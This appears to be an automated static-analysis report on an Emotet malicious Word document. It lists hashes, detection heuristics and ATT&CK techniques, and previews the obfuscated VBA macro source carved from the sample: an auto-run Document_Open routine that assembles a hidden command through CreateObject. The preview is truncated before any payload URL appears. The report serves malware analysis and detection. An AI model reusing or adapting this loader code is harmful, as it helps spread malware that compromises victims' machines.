Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c2cf8e6e69c6d09f…

MALICIOUS

Office (OLE)

185.7 KB Created: 2019-12-17 22:45:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: cde743f517f616d1c7027dd74c46c670 SHA-1: a2a065085e090207000b17ba43b020077dd0fecb SHA-256: c2cf8e6e69c6d09fcaa193edfc6687ae0980768dc4c0a11b9691f35d41de56df
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro designed to execute automatically. Critical heuristics indicate a hidden command stager utilizing CreateObject, a common technique for downloading and executing further stages. ClamAV detection confirms this as Emotet, a known downloader family.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9735 bytes
SHA-256: 3baea8be16425240e2f3484135da9c091d5fc90703de6a13d3c467d1d216c669
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vbhehdliv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Ljwznvlwu, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Cjhmcdybsyou = Elryzysjj To Hcqyknwpawxuu
         Vphhjwhmrmddh = Sacnvbic
         Retkhqwedc = Cvczpymg
Next
Select Case Yxdxshzunnz
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Tbbkrfkpxts = Irrkkbhiwsji To Gxrrbojytspug
         Cqgiesxykq = Ewircsid
         Crylkxzup = Wtbdzuei
Next
Select Case Bilebkanb
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Zgllkmvk = Zbaitpzwzhn To Osklzgmv
         Mgpalcnndzq = Ssshhpta
         Fxtzbvdptqno = Pnulujhk
Next
Select Case Sshyffonyok
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Xhccdttqxbvro
End Sub

Attribute VB_Name = "Vxdfdcrwj"
Attribute VB_Base = "0{40515FAC-4A97-484C-A341-029BD8B4DCA5}{2253822C-9DF5-4C74-A831-6ECA524CCAC6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Tqwwmeukgyzyv"
Function Jleffcfkpa()
   For Kdbgwwyqydag = Ybmgybcrhjhcw To Agtwrsrdshlg
         Ebaqhvxmxxs = Vszuapvyxgjj
         Xuymvaddi = Onxoiwezzw
Next
Select Case Nlqgphuqgaoz
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Pwfejdbgj = Vbhehdliv.Ljwznvlwu
   For Gbqmjccf = Ukgwcpiigfxac To Ronmstvco
         Blrttxvaj = Hvjvqaedf
         Esopsqdzh = Tnwqnmafcar
Next
Select Case Rdwdvxkbj
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Mgucxshpvb = Pwfejdbgj + Vxdfdcrwj.Srlycmlhrwyn + Vxdfdcrwj.Tzuhcholw + Vxdfdcrwj.Pxedpvznndsn
   For Xxweblvdv = Bgpjkmqjxf To Bwzbxarhczin
         Tetwzolvhb = Dqtljckeu
         Jydephcy = Bsmpagyhgo
Next
Select Case Qwaorpgdvol
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Gnvjdntetiorn = Mgucxshpvb + Vxdfdcrwj.Eqmuxddymd + Vxdfdcrwj.Kddwgvwrbmt
   For Hhfqmompkvir = Kwkekjgyyvm To Ofbcezclc
         Ddkzwqouytzo = Rknjjkdhf
         Jtdrufhqsa = Hbigsgoprwtno
Next
Select Case Tunwxlpn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate
... (truncated)

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